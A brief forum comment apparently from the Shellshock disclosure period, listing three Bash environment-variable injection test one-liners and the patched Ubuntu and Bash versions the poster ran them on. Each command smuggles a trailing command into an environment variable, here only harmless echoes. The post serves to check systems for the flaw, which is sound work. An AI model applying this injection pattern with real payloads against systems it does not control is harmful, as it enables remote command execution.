by PabloFanque · 12y ago · 0 comments
The two exploits you've posted:
1. env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
2. env X='() { (a)=>\' bash -c "echo date"; cat echo
The third variant Mitchell posted in his comment: 3. env -i X=' () { }; echo hello' bash -c 'date'
The systems I've tried these on both have been updated with "sudo apt-get update"; "sudo apt-get dist-upgrade".The systems are:
A. Ubuntu 12.04.5 LTS, running Bash version 4.2.25(1)-release (x86_64-pc-linux-gnu)
B. Ubuntu 10.04.4 LTS, running version 4.1.5(1)-release (x86_64-pc-linux-gnu)